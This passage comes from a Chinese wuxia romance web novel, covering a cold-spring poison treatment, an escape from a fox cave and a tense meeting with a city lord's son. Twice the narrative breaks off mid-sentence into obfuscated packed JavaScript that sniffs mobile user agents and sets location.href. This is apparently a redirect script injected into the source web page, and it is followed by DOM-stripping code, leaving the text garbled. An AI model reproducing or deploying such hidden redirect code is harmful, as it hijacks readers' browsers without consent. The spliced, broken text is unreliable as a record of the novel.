这种晶体,市面上不曾出现过,而且异常坚硬,她的匕首都钝了,才勉强撬下来一块,可惜撬动的过程中不可避免损坏了一些。 很可惜,她叹着气,刚将晶体收到腰包里,邹杲就来了,一起来的,还有灵狐王。 “你玩得倒是开心,也不知道来接一接我。” “还好,还好,也没那么开心。”李棋找了一圈,没看到小奶狐,急切地问,“小灵狐呢?给我抱着吧,你解毒要紧。” 李棋觊觎这只小灵狐很久了,软乎乎、白嫩嫩的,可爱得不行。 邹杲从宽大的袖子里掏出小灵狐,它正抱着和自己差不多大小的鱼,好不委屈、费劲啃着。 邹杲叮嘱道:“好好抱着,别让它乱跑,它牙还没长齐,爪子也不够锋利,应该还没法自己捕食,等会找不回来,又没人喂养,该饿死了。” “好嘞!”李棋乐呵呵接过小奶狐,“我办事,你放心。” 邹杲笑笑,便开始脱衣服。 李棋还在逗小灵狐呢,见此情景,人都愣住了,说话也结结巴巴的。 “你、你、你……” 邹杲回头对她无辜坦然一笑,“我怎么了,泡寒泉不脱衣服,我等会穿什么?” 说罢,李棋还没反应过来,邹杲就脱掉了外袍。 纵使看过邹杲的身体,她也还是一惊。 但是很快,她就冷静下来,无视脸红心跳,她眼神赤裸裸、直勾勾盯着邹杲的身体细细打量。 果然,只要自己足够冷静沉得住气,慌乱的就是别人。 这不,邹杲便停下了动作,没有继续。 李棋抢在他说话前评价道:“啧啧啧,怎么感觉你又瘦了啊,你好像都只剩骨头了。” 邹杲有瞬间的怔愣,李棋戏谑笑着又催促,“继续脱啊,好不容易找到灵狐泪和寒泉,事不宜迟。” 李棋的大大方方让邹杲扭捏起来,心里也很不得劲。 “小棋儿,男女有别,你先出去。” “这有啥,跟着师父学医这些年,男的、女的,老的、少的,哪种身体我没看过啊。” 这句话纯属胡诌,她是学医多年不错,但还真没见过什么人,识穴位、练针灸,也是拿师父师兄还有自己来。 而且那时候,痛苦都来不及,哪有心情去观察别的什么。 严格算起来,邹杲是她第一个完整看清上身的男人。 “何况,你背上还有伤,我得时刻注意着你的状态,免得你冻死了。” 邹杲偷鸡不成蚀把米,很是无奈,“小棋儿……” 李棋心中都快笑晕了,面上却依旧一本正经催他,“快脱吧,还是说你因为你干瘦的身体而自卑?放心吧,我不会和别人说的。” 听到她这么一说,邹杲不服输的劲瞬间就上来了。 自卑!他邹杲已经很多年不知道自卑为何物了。 “既如此,劳烦小棋儿帮我脱一下了。”他说着,解开衣带,一只手臂递到李棋面前。 李棋欲骂又止,但却不得不吃下这个哑巴亏,帮他扯去上衣。 邹杲的确很瘦,但骨架大,也依稀可见肌肉的痕迹,倒是有另一番滋味。 邹杲也不再扭捏,李棋都还没反应过来,他就脱下了裤子,只穿着亵裤就走入寒泉中去。 水池不是很深,他坐在里面还露出了胸膛以上的部位。这样一来,他不得不动手舀起冷水往身上浇。 他倒是不觉有什么,在李棋看来就不一样了。 勾引,这是赤裸裸的勾引,不安分的/骚/男人。 /骚/男人一双狭长的狐狸眼睁得溜圆,被冻得哆哆嗦嗦还装模作样说:“小棋儿,过来帮帮我。” 一副可怜无助还无辜的模样。 “懒得你,自己动手。” 李棋强装镇定说罢,转过身去,背对他坐了下来。 听着身后的水声,她的脸莫名通红,也莫名想再回过头看几眼。 灵狐王似乎和她有同样的想法,也比她直接,爬上她的肩膀直勾勾盯着邹杲看,似乎对邹杲很好奇。 她眼疾手快,一把捂住了它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680498|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛将它扯下来,并对它进行无声的威胁。 还是小奶狐乖,就乖乖窝在她手心里,小心翼翼地用没长齐的牙啃着小鱼。 李棋觉得她得找点话说,转移一下自己的注意力。 “邹杲,你要不要给小灵狐取个名字?它以后就一直跟着我们了,总不能连名字都没有吧?你不取我就取了啊!” “那你给它取一个吧。” 邹杲这会儿已经冻得哆嗦了,说一句话能咬七八次舌头,发音还不清楚,他也不欲多说。 李棋也听出来了,故意逗他,“你是王爷,还是你来吧,我读的书没有你读的多,我取的名字肯定也没有你取的名字好听。” “小七儿。” “什么?”李棋没太听清楚,反应过来后差点就没控制住自己,“你要管它叫什么?” 邹杲也是背对着李棋的,但是他也是故意的,也很满意她的反应,冷得打寒颤的脸上露出了得逞的笑容。 “你是小棋儿,它是小七儿,有什么问题吗?” 李棋想说问题大了,小七也是她的名字,她娘亲师父和亲近的人一直都是这么叫她的。 但想到娘亲特殊的身份,李棋又闭嘴了嘴巴。 这时,只听邹杲又道:“我还以为小棋儿不喜欢我这样叫你,原来,小棋儿不但很喜欢,还对这个名字有着很重的占有欲。小棋儿和小七儿我分得很清楚,小棋儿不用担心,小七儿只是一只小狐狸,不会抢走属于你的事物的。” 李棋莫名脸一红,嘴上却不饶人,“管你分不分得清楚,这对我来说根本不重要。”又说,“少说点话吧你,别把自己咬死了。” 邹杲闷闷低笑,没有再说话。 他冻得说不出话了,现在几乎是一张嘴就咬着舌头。 李棋也不再说话,只逗弄手中灵狐。 * 安静了好一会儿,邹杲哆哆嗦嗦开口问:“小棋儿,时间应该差不多了吧。” 李棋一惊,猛地反应过来。 她讪讪挠了挠耳尖,也都怪邹杲,让她都忘了还要计时这一茬。 许久没听到回答,邹杲难耐又喊:“小、棋、儿……” 李棋心一横一咬牙,起身走到邹杲身后,伸手摸了摸他后脖颈、肩膀、手背还有腰腹多处的体热,心里这才有了数。 “再泡一会。” 回应她的,是邹杲冻到牙齿打寒颤发出来的声音。 这回,李棋也没出去了,就坐在边上时刻关注着他的情况。 过了一回,她再次重复刚刚的动作,最后又抓起邹杲的手,摸了摸他的脉象,确定翻涌暴动的内力和气血已经平息,李棋这才掏出腰包里经过药水浸泡处理过后的灵狐泪。 李棋问:“你自己喝,还是我喂你?” “喂、我。”邹杲一字一句,说得很是艰难。 光听着他哆哆嗦嗦艰难发出来的声音,以及牙齿无法自控的碰撞声,李棋就觉得冷。 “喂、喂我,手抬、抬不起来。” 许是她许久没动,邹杲又艰难补充了句。 李棋在看邹杲胸膛靠近心脏处的疤痕,两个箭痕,新旧交错,都不浅,久的那处很深很深,估计差点就到心脏了。 他也真是命大,居然挺了过来。 “好。” 李棋掐着他的下巴,将已经和药水融为一体的灵狐泪缓缓喂给邹杲,同时点了他身上几处穴位,帮助他吞咽。 “你现在感觉怎么样?师父说只要没有其他不良反应,就可以从寒泉里出来了。我也可以给你输送一些内力,让你不那么冷。” “冷!” “那应该没事了,让你在寒泉里泡,就是为了让你的身体习惯寒冷,不至于被灵狐泪中的□□伤到。”李棋说着,打算扶他起来。 她也看到了邹杲的腿,瘦长又直,虽然瘦了点,但肌肉还挺扎实。 果然是狡猾的狐狸,这双平时掩藏在宽大衣袍下的腿一看就没少扎马步练基本功。 “小棋儿,冷。”邹杲浑身颤抖,哆嗦个不停,震感都传到李棋身上来了。 “哦、哦好!” 李棋反应过来,拿起边上的衣服给他穿上。 结果,被他的冷颤影响得手忙脚乱的,半天也没套上一件,倒是把他摸得差不多了。 寒冷内外攻击着他的身体,邹杲除了冷,还是冷,脑袋里生不出任何旖旎之色。 他打着颤,牙齿磕碰着,结巴说道:“你先用内力给我暖身体,衣服我自己来穿。” “也行。” 李棋握住他的手,又是一阵手忙脚乱,邹杲才终于穿上衣服。 想到刚刚的窘境和她看到的,李棋脸都红了,全程心虚得不敢和邹杲对视。 邹杲注意到李棋的不自在,但是却没心思逗弄她,他是真的冷,感觉五脏六腑都被冰冻住了一般。 这股由内而外的冰冻也让他原本不太清醒的大脑清醒不少。 14. 无尽卷·第十四章 14 施展轻功回到下方的灵狐洞天,绕着洞壁跑了几十圈后,邹杲才终于缓过来了。 两人并肩坐在原本象征着灵狐王身份地位的高台上。 “这一行虽然不是很顺利,但还是感觉像是在做梦一样。”李棋手里蹂躏着灵狐王,感叹着就要往后倒,准备躺会儿。 邹杲连忙拉住她,“你当你肩膀上的伤是摆设吗?” 李棋讪讪坐好,真是说不得,一说还真有点疼。 邹杲不再说话,只笑着看着她。 李棋被他看得有些不自在,干咳一声,移开了视线。 邹杲也跟着移开视线。 过了好一会儿,他似是感叹,又似乎是在阴阳怪气。 “若不是小棋儿你说你师父还没有研究过解药,我真的不敢相信现在的结果,一切的一切,似乎都在小棋儿你师父的掌控之中啊。” 李棋猛地转头,怔怔看着邹杲,脑袋里一时间思绪横飞。 邹杲喝下的‘无忧’的确是她第一次和师父一起研究出来的至毒,她也的确只在师父的示意下,用几种不同的小动物试验了药性。 但是,她却不确定师父是否也是第一次做出‘无忧’。 在多次从他人口中听到师父可能要算计她后,现在一想,哪哪都不对劲。 邹杲感慨道:“难怪江湖中人称他为蛮菩萨,救人一绝,制毒害人也是一绝,当真是人如其名。” 李棋欲言又止,想说她师父没有害过人。 但是转念一想,师父这些年的确研究了很多毒药,用他的话来说是解毒还需识毒,若是能根据症状制毒,那解毒便是游刃而解了。 但是师父这些年研究的毒药里,好似只有一半来自江湖上已有的剧毒,另一半,则完全是他全新的制作。 ‘无忧’入了邹杲之口,那其他毒药呢? 邹杲点到为止,安静一会儿,他玩笑又问:“先前,你师父说小棋儿你的医术不如他,那制毒之术呢,也不如他吗?还是说青出于蓝而胜于蓝?” 李棋又是一怔,瞪大眼睛看着他一时不知该说什么。 邹杲在怀疑什么? 不过也不怪邹杲如此多疑。李棋不由心中叹气,要是她是邹杲,她也会怀疑是自己和师父给他下套,引他离开皇城; 怀疑她故意藏拙装憨,意在配合师父故意将他引离鄂阳,并在带着他寻药的途中为他九死一生,以此取得他的信任。 但是,李棋真的冤枉。 她不但没有和师父联合给他下套,反倒是她自己,中了不知道谁的套,被引入这烂局之中。 从她被师父指使下山,到邹杲喝下‘无忧’,到她不得不和邹杲一起踏上寻找解药的全过程,她都被算计得明明白白。 娘亲的话存疑,师父的话也存疑,但若是师父真的早就研究透了‘无忧’,那包括师父带着她一起研制‘无忧’,或许都是师父下的套。 那可是长达两年的研究教学啊,两年来,师徒两人朝夕相伴,若是师父是抱着算计的心思,那她这两年算什么呢? 说不伤心是假的,但是…… “咕……” 突然,她的肚子传来一段幽长的独奏,被空寂的山洞放大。 她有些尴尬,在邹杲轻笑出声后,她更是窘迫万分。 不等她说什么,邹杲先善解人意道:“饿了?好了,这些事有时间再细想。此刻,我们先回去抓几条鱼填饱肚子,然后,也得着手寻找出去的路了。” 邹杲说着先起身站立,李棋正欲跟上,他就回过身来朝李棋伸出手,要拉她起来。 手下的灵狐王趁机窜了出去,李棋愣愣仰头看着邹杲,邹杲则坦然微笑看着她。 这么一对比,反倒像是她心虚了。 她不知道的是,她脸上不小心沾染的灰尘与血迹掉得差不多了,头发微润,有些狼狈,但也正因为如此,让她看起来可怜兮兮的。 如出水芙蓉般靓丽的脸,错愕失神看着他和他伸出去的手,真的很容易让人心软。 让人忍不住想无条件信任她,哪怕很多事实摆在他眼前,告诉他李棋不简单。 邹杲叹了口气,认输了。 他又倾身靠近一些,先一步抓住李棋的手,带着她站起来,“走吧,我们先回去,你好好洗洗你脸上的泥和血,我则生火烤鱼给你吃。” 要是换做往常,李棋肯定会嘴贫说,‘洗干净了又如何,在这甬道里一滚,照样得脏兮兮的。’ 但是现在,她完全没有嘴贫的心思,任由邹杲拉着她下去。 * 回到隔壁,邹杲通过匕首和墙壁摩擦顺利生起一堆火,他背对着李棋坐在火堆旁烤鱼,李棋蹲在角落清洗自己。 刚刚把邹杲从寒泉里拖出来费了点劲,李棋的伤口又有撕裂的架势,不过好在不算严重,没有像之前那般血流如注。 她只洗了脸和脖子以及手。 清洗干净,她也没有立马走过找邹杲,而是蹲在远处,看着邹杲的背影发呆。 原本,她觉得邹杲对皇位无意,但越接触,越觉得邹杲非池中之物。 虽然她并没有和任何人结盟,更对成武帝无感。 但她不清楚师父的计划,也不知道师父和成武帝是否有往来。 毋庸置疑的是,师父和邹杲肯定没有往来,否则,师父不必绕这么大一圈把她引入局、引到邹杲身边。 邹杲也没必要喝下真正的‘无忧’,尤其没必要承受‘无忧’毒发带来的痛苦。 所以,只要她站在师父这一边,那她必然和邹杲站在对立面。 而她和师父,哪怕一项又一项有力证据都指向是师父只将她当做棋子在先,不到最后师父直接剑指她,她估计都没法忽略对师父的感激与敬爱,彻底与师父站在对立面。 现在处于邹杲不清楚她的底细,她也不清楚邹杲的底细。 因着各方牵连,两人或许有心,却也不敢轻易坦白。 说实话,就算是邹杲主动和她坦白,她也是不敢信的。 谁知道和她坦白结盟,是不是也是邹杲算计中的一环呢。 现在,她甚至都怀疑,之前命悬一线的时候邹杲并没有尽全力,故意在逼她拿出嗜血虫保命。 为的,就是探清她的底牌。 她一边告诉自己要警惕,一边又容易被邹杲影响情绪。 她好像彻底喜欢上邹杲了,不只是因为邹杲的容貌。 越深沉、越危险、越警告自己不能触碰的越勾人越让自己无法自控。 哪怕明知邹杲很危险,哪怕邹杲是小灵记挂多年的人,她却还是在不知不觉间从玩心到真心,真正喜欢上了,就像扑火的飞蛾一样。 不过,她可不想像飞蛾一样死去。 李棋很惆怅,很煎熬。 按她的脾气,认定了,她绝不会啰嗦,会直接挑明,行就行,不行就争取,还不行就继续争取。 但是,现在,她需要顾虑的东西太多了,师父、娘亲、师兄,还有许久没有联系的小灵。 还有,她现在的心里也真的很复杂。 之前邹杲说,如果没有缘分,他也是不会娶小灵的。为此,李棋一边希望邹杲与自己保持距离、为小灵坚守,一边又希望邹杲与小灵无缘。 但扪心自问,要是小灵就是在等邹杲,还非邹杲不可,要是邹杲确定了这些,却还是毅然决然选择拒绝小灵,那个时候,她还能开心去争取邹杲吗? 或者说,就说邹杲为了她拒绝小灵,反过来非她不可,她真的还能选择邹杲吗? 本来,她就得忧心如何自保,一天天的,还不可控的被这些情啊爱啊的影响思绪。 李棋真的很煎熬痛苦。 李棋不由叹气,又暗自下定决心,等出去之后,她也得多留意留言,得尽快找点能和邹杲媲美的美男来分散下她的注意力。 要是周围美男环绕,一个二个追着要她偏宠,她估计也没心思更没精力纠结什么真心实意了。 就这么决定了,出去之后就把这件事提上日程。 “小棋儿!”邹杲在叫她。 李棋一惊,下意识应道:“啊?” “发什么愣?洗好了就过来烤火,鱼也快烤好了。” 邹杲对她笑得温柔又和煦,十足的狐狸精。 要不是知晓他之前都在打仗,身上一身伤痕也做不得假,李棋都要怀疑他是娼馆出来的。 不过,她还是不由得脑补出邹杲打扮得花枝招展,站在娼妓馆门口朝她挥舞帕子,喊她进去玩一玩的画面来。 很违和,很滑稽,李棋没忍住笑出了声。 邹杲莫名其妙,“嗯?小棋儿为何故对着我痴笑?” “没什么,没什么。” 李棋将这些好笑的念头甩出去,笑嘻嘻打着哈哈。 她起身走过去,在火堆旁坐下,接过一条鱼自己烤,同时又问起他征战这些年的见闻。 有关战争的过往总是沉重的,但邹杲似乎很乐意和她讲述这段过往。 李棋让他讲了他初露头角的那场战役。 邹杲讲得很详细,李棋时不时问一句,两人就这么聊了好一会儿。 吃饱喝足后,又饱饱睡了一觉,两人才在灵狐王的催促下,再次进入那条甬道。 原来,出口就在那个拐弯的右侧,这一次跟上来的不止灵狐王,还有很多灵狐。 拐过去,甬道的高度直线降低,坡道也是向下的,两人不得不趴下,以来时的方法摸索着爬出去。 李棋在前面一边往前爬,一边玩笑道:“所有青壮年灵狐都来送我们了吧,想不到啊,我们常胜王的权威在灵狐界也这么好使。” 邹杲配合笑道:“也不看看我是谁,我可是赫赫有名的常胜王爷!” 李棋一听,忍不住笑了,都停下了匍匐先前的动作。 刚刚她还拿常胜王爷这个称呼来调侃邹杲,他当时还挺不喜欢这个称呼的。 但现在这是,打不过就加入吗? 要是没有这些阴谋阳谋算计利用,邹杲还真是挺好玩一人。 “是呢,您真不愧是赫赫有名的常胜王爷……” 李棋调侃的话音未落,“小棋儿,让开!”邹杲喊着,就朝她快速扑了过来。 闻声,李棋一边紧靠一侧岩壁躲闪,一边回头,还没看清楚,便被邹杲撞了个坚实。 而他身后,是上百只灵狐兴奋的大叫,虽然看不清,但从它们的又叫又跳看来,哪有有半分恭敬的样子。 为首的灵狐王居高临下看着他们,好像在说:终于走了,终于走了,两个烦人精、讨厌鬼终于走了! 搞半天,灵狐们不是给他们面子,而是迫不及待送他们离开。 通道就那么大,洞壁还相对光滑,李棋虽紧靠一边岩壁,却也只是避免和邹杲正面相撞罢了。 “呃……” 邹杲擦着她肩膀过去,不小心碰到了她左肩的伤口,顾不得疼痛,李棋连忙抓住邹杲,并抱紧他,和他一同以极快的速度顺着甬道往下俯冲。 邹杲本来不想牵连李棋,但见李棋伸出手抓住自己,他索性将李棋紧紧抱在怀中。 那一刻,邹杲心中想的是,他运气挺好,有李棋陪他,就算底下是刀山火海,甚至是妖鬼炼狱,他们联手,也一定能重新爬出来。 坡度越来越陡峭,两人紧紧抱住彼此,不受控制往下坠,完全停不下来。 “小棋儿,谢谢你……”邹杲不由得在她耳边轻语,同时伸出手小心护住她的左肩, 真诚的低语让李棋心神安宁,但很快,李棋便想到小奶狐,她的心又是一惊,连忙大声喊道:“小七儿,邹杲,注意保护小七儿!” 不说还好,李棋这么一说,邹杲便感觉头顶的头发因为拉扯而传来的痛感越发明显。 小七儿原本在邹杲肩膀上,受到惊吓的小七儿在慌乱中抓住他的头发,还顺着头发往上爬,给他扯得生疼。 “它好好的,比我们舒服。” 这句话,邹杲几乎是咬牙切齿说出来的。 突然,李棋就发出一声难以忍受的痛苦闷哼。 不用问也知道,她被甬道里四散的小石头硌到了。 邹杲也没办法,下落的速度飞快,他什么也做不了,只能尽量把李棋护在怀里。 这过程中,他也撞到好几下,撞到本就没痊愈的伤口,他也忍不住吃痛闷哼出声。 好在,回去的路比他们来时的路明显短很多,没一会儿,他们冲出了甬道,重重摔到雪地里。 三四丈的高度,径直摔下来,李棋还好,有邹杲垫着。 邹杲就惨了,李棋虽然不是很重,但是冲击力不是一般的小,他躺在雪地里,新伤加旧伤,爬都爬不起来了。 这里的雪也没有那么厚,应该已经在无尽冰原的边缘了,薄薄的一层雪下面是常年冰冻的冻土。 “邹杲,你没事吧!”李棋慌乱从他身上起来,手忙脚乱拉他起来。 “没事,还活着。” 邹杲伸出手握住她的手,说着不知道是呛着了,还是怎么的,咳嗽个不停。 “真的没事吗?” 李棋话音未落,说着就要去摸他的脉,一个不防,被邹杲拉着扑倒他身上。李棋浑身僵硬,不理解他这么做的意图。 这时,却只听邹杲疲惫道:“先别忙活了,休息会儿,我看看能不能唤千赤来接我们。” “不能这么压着,你背后的伤还没好。” “不差这一会儿了。” 话虽这么说,邹杲却没有坚持,李棋也连忙起身,跪坐在一旁用眼神扫过他的全身,看他是不是有哪里她不知道的伤,但观察下来,并没有。 邹杲以手为哨,放在嘴边吹了好几次,声音很响亮,怕是方圆好几里都能听到。 他似乎累极,躺着没有动弹,“没添新伤,也没有重伤,就是没力气动了,就这么躺会儿。” 闻言,想要扶他坐起来的李棋收回了手。 见瞬息间飞出去好远的小七儿已经爬起来,并朝他们这边跑来,李棋和他拉开了一步的距离,也在旁边躺下。 或许是有了过命的交情,小七儿也学着他们的样子,呈大字型倒在他们中间,左看看右看看,好不可爱。 两人都是粗喘不已,好久好久,才缓和一点。 邹杲侧头关切看向她,“左肩的伤口是不是又撕裂了?” 李棋自己都没注意,听他这么说,才发现有一点淡淡的血腥味传来。 “是有点,不过不是很严重,等会再说。” 邹杲应了声,没再说什么。 李棋看着中间乖巧躺在的小七儿,又想起那些灵狐推他们下来时的嘴脸,不由好笑。 “这些小狐狸,也太阴毒了。” 说起它们邹杲也来气,“此仇不报,我意难平。小棋儿,等我身上的毒解了,你再同我来找它们报仇如何?” “万一报仇不成,再被算计一回……”太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人身后一群男人也哈哈大笑起来,表情之放肆,李棋看得拳头都痒了。 她担心邹杲,侧头一看,却见他身形端正,面色如常,他似笑非笑道:“走狗又如何?你们对本王嗤之以鼻,又有几人敢说,一点不羡慕本王?能成为陛下的走狗,你们有几人能做到?又有几人不想做到?” 一群人皆是一愣,为首的男人眉毛拧紧,面色严峻,攥紧拳头看着邹杲。 他似乎是被戳到痛处,准备动手了。 这时,男人左边另一个长得人模狗样,一副文人打扮,却一脸阿谀奉承、势利眼的男人哈哈笑道:“王爷说得是,能得到陛下的赏识,的确是世人都想做到的。” 男人一顿,笑道,“但是,王爷可不是值得我等羡慕之人。听闻陛下赶王爷离开皇城之前,特意为王爷找来旷世奇毒,不知王爷现在身体如何?” 邹杲张开双臂坦然一笑:“如你所见。” “呵呵,似乎不太好啊。” 他笑里藏刀专踩邹杲痛处,“堂堂王爷不远万里,只身一人来到这茫茫冰原,是要找什么重要的草药救命吧,王爷不妨跟我家公子说说,说不定我家公子善心大发,还能帮帮王爷您。” 李棋拳头硬了。 真是虎落平原被犬欺,邹杲再怎么说也是为这个国家流过血汗的将领,没有功劳也有苦劳,这些人哪来的脸奚落讽刺他。 “你眼瞎吗?我家王爷哪里是一个人来的?还你家公子,边境小城小富人家而已,还能翻天不成?还有你,一副文人打扮,一边讥讽邹杲是狗,可你说话做事却比狗还不如,我要是你,早都解下裤带把自己勒死了。” 李棋骂着就要冲上去给那有辱读书人风骨的男人一脚,但是被邹杲伸出胳膊,拦了下来。 一群男人却恬不知耻地大笑起来。 那人模狗样的男人也恭敬退到为首的男人身后,恭恭敬敬等着男人说话。 为首那男人理了理衣服,勾唇笑道:“在下不才,瀚海城城主赵孟嫡子赵天禄是也。如姑娘所说,在这瀚海城,在下还真的能翻天。” 李棋一顿,心道‘怎么这么倒霉啊?’ 她心中哀嚎,面上却不服输,“你说你爹是城主,” 赵天禄还以为李棋被震慑到了,越发得意,洋洋得意打断她笑道:“瀚海城城主正是我爹。” 他又道:“姑娘,实不相瞒,那日一见,在下时常想起姑娘,想与姑娘深交,不知姑娘可否给在下一个机会,随在下到府上小住,让在下好好尽尽地主之谊。” 李棋想怼人的话收了回去,她下意识扭头去看邹杲。邹杲也扭头看她,两人视线对视,邹杲露出意味深长的笑容。 李棋猜不透他想做什么,只感觉很不舒服。 这个男人打她的主意,而邹杲却还想利用此事去达成她不知道的目的。 再看这个赵天禄,长得倒是高大健硕,端正的方阔脸,就是偏偏配了双耷拉无力的鼠眼,怎么看都不好看。 狐假虎威的,说话还难听,李棋连和他做戏都嫌弃。 但邹杲却转而笑盈盈看向赵天禄,端详了他好一会儿,就见熟捻笑道:“原来是赵兄之子啊,难怪本王见你眼熟。” 他又道:“既然侄儿你盛情邀请,那本王就却之不恭了,正好本王也许久没见赵兄,正准备去府上找赵兄一叙。” 别说李棋,赵天禄和他的谋士全睿也都是一愣。 全睿正想骂邹杲恬不知耻,赵天禄却拦住他,看向邹杲,狐疑问:“你和我年纪相当,却与我爹是旧交?为何我爹从来没提到过你?” 邹杲悠悠说,“临阵逃脱、侥幸活命什么的,或许是耻于开口吧。” 赵天禄似乎想到什么,他瞪大眼睛,难以置信看向邹杲,“五年前,把我爹送到我家门口的神秘人是你的人?” 邹杲但笑不语,赵天禄心里中有了决定,也不像之前那么目中无人,呵斥他身后叫嚣着的男人们闭嘴,恭恭敬敬邀请邹杲和李棋一同下山。 ** 五年前,赵孟还不是瀚海城的城尉,而是军队里负责粮草运输的一个小小运粮官。 彼时,他所看守的粮草营地被敌人进攻,那批粮草被烧大半,最高将领带着大部分士兵弃粮逃命,强迫赵孟和几小将领着四五十人留下断后。 敌我殊途,他们自知不是对手,自然后脚也跟着逃了。 但不等事后追责,他们先被敌军追上,唯有赵孟运气好,身受重伤但侥幸捡回一命,并被一神秘人丢到了自家家门口。 当时,赵天禄他们都担心疯了,生怕皇帝治他爹赵孟临阵脱逃之重罪,灭了他们赵氏全族。 出乎意料的,皇帝不但没有追他爹赵孟的责,还在他爹伤好之后,念他死守护粮有功,将他派到瀚海城,成为瀚海城的新任城尉,也就是通俗意义上的城主。 瀚海城虽然偏远、常年冰冻,但却也是个好地方。 无尽冰原紧紧是外围便有着无数珍贵药材与珍稀动物皮毛,这一买卖的大头历来被城主势力掌控,这对于彼时的赵家来说,和得道升天没有什么区别。 赵天禄也问过他爹其中隐情详细,但是每次问到,他爹都严肃呵斥于他,不愿与他多说,久而久之,他也就不敢再问了,只安心在这片小天地,做他们的土皇帝,逍遥快活。 15. 无尽卷·第十五章 15 事情的发展让李棋始料不及,同时也不由感慨,瘦死的骆驼果然比马大。 一听邹杲提到救命之恩,原本还对他们恶言相向、叫嚣着要好好收拾他们的赵天禄不但不再动他们,还恭恭敬敬在前面带路,将他们迎至城主府。 邹杲不疾不徐和赵天禄走在前面,李棋心情复杂跟在邹杲身边。 走了差不多一刻钟,千赤找了过来,它身后还跟着一匹和它一般高大健硕的黑色骏马。 那匹黑色的马好像赖上千赤了,千赤明显有些烦它。 不过,它倒是乖巧,在千赤的牵制下,李棋轻而易举便骑上了它的马背。 没走多久,就遇到了赵天禄在雪原边缘驻守接应的手下。 一行人骑着马,带着这些天赵天禄他们的收获,扬长而去,直奔瀚海城。 * 赵天禄他们此行除了寻找珍稀药材,还猎杀了很多动物,瀚海城的兽皮制品很是闻名。 一整车的皮毛还沾血带肉,离开冰原,太阳一晒,就有些发臭。 因着这个原因,邹杲骑着千赤在左,李棋骑着跟着千赤来的那匹黑色的烈马在右,两匹马并肩慢悠悠跟在队伍后方,与前方始终保持这好几丈的距离。 时值盛夏七月,瀚海城因为环境的原因,倒是格外凉爽,环境很美很宁静,又只有他们两人,很容易滋生一些微妙的情绪。 然而,李棋心中已然没了那些旖旎的想法。 她心情很复杂。 纠结再三,她还是决定和邹杲聊一下。 “邹杲……” “嗯。”邹杲应着,侧头看向她,轻笑问,“怎么不叫我王爷了,我不是你家王爷吗?” 邹杲的声音很近,仿佛就在李棋耳边,他的声音还是那么不着调,但是刚刚的事让李棋耿耿于怀,都没有心情去管邹杲暧昧的调侃。 李棋不动声色扯了扯缰绳,想让身下的马儿往右边拉开一些距离,但是这黑马赖上千赤,紧挨着千赤就算了,还趁千赤不注意,偷偷摸摸缩短距离。 那痴汉样,简直没法看。 李棋奋斗半天无果,只能随马儿去。 她扭过头去,盯着邹杲的眼睛看,问道:“你和瀚海城的城主私交很好吗?” 邹杲轻笑着,不答反问:“往来到何种程度算得上私交很好?” 李棋盯着他笑意盈盈的脸,企图从他的脸上看到一些破绽。 服下‘无忧’,被迫逃亡,究竟是邹杲的无奈之举,还是有意为之。 他不过二十出头,年轻气盛,年少有为,最不可能缺少的就是野心,所以他…… 瀚海城珍贵药材无数,是李棋这个避世多年的人都有所耳闻的。 邹杲救下瀚海城城主只是偶然,还是有意为之? 就像师父早在两年前就以教学之名带着她研制‘无忧’一样,邹杲是不是也早就在谋划一些事情。 还不等李棋理顺,又听邹杲不着调道:“小棋儿突然这般关心我,让我都有些受宠若惊了。” 李棋现在真的是烦死了他这不着调的模样,她皱眉,话还没组织好,就听邹杲暧昧又道:“难道说,小棋儿是想不动声色融入我的生活吗?” 邹杲说着,笑意盈盈的眼睛对她无辜眨了眨。 邹杲毋庸置疑是个美男子,还是从战场上厮杀出来的胜者。 尽管他玩味的面容很不正经,但是他周身的肃杀之气还是让人难以忽视,偏偏他又笑得那么温柔,好像她李棋在他眼里心中是不一样的特殊的。 李棋本就对邹杲心生好感,如今被他这样看着,李棋差点就中了美男计。 并且,邹杲的笑容其实也让李棋有些无处遁形。 邹杲的笑容给她一种错觉,一种她被邹杲看得一清二楚,并且被邹杲玩弄于股掌之间的感觉。 她不喜欢这种感觉。 更不想认输。 沉默盯着他看了片刻,李棋学着他的样子,勾唇神秘一笑,“你猜。” 邹杲一怔,随即笑出声来。 “人心隔肚皮,我眼力再好,也没法透过衣物,看到小棋儿你的内心啊。” 明显挑逗的暧昧话语,只要不在意,很好接话。 李棋也笑着接过来话茬,“就这么想看到我的内心?不如到了城主府,我脱去衣服让你好好看看,看你能不能看出点名堂来。” 邹杲一噎,还是还快挑眉,一副很期待的模样,“当真?” 看着他满脸满眼的认真期待,她眼珠子一转,没忍住白了邹杲一眼,“当然是假的。你可是我未来妹夫,想什么呢!” 义正言辞说罢,想了想,她又补充一句,“就算你拿我当兄弟,这种玩笑也不准说了,小灵知道了会介意的。” 邹杲收起了玩世不恭的笑容,面容严肃看着她,似乎要和她说一些很认真严肃的话语。 但李棋等啊等,他话说出口,却又是混不吝的话语。 “男子妻妾成群本是常态,我作为王爷,无论是一妻多妾,还是三妻四妾,都是理所应当的。” “古时也有娥皇女英共侍一夫的美谈,先前在山洞中本王便看过了小棋儿的身体,若小棋儿愿意,本王这便向陛下请旨赐婚,让你占有先机,届时就算你妹妹介意,那也是本王之过,怪不到你头上,更不会影响你们姊妹情深。” 李棋眼神探究看着邹杲。 邹杲却并没有就此停下,和煦笑着继续道:“小棋儿放心,若小棋儿你决心放弃自由追随于本王,那本王也是定不会辜负小棋儿的。” ‘自由’,邹杲口中的‘自由’究竟是指哪样,或者说是哪几样? 不过不管是什么,李棋都是不愿意的。 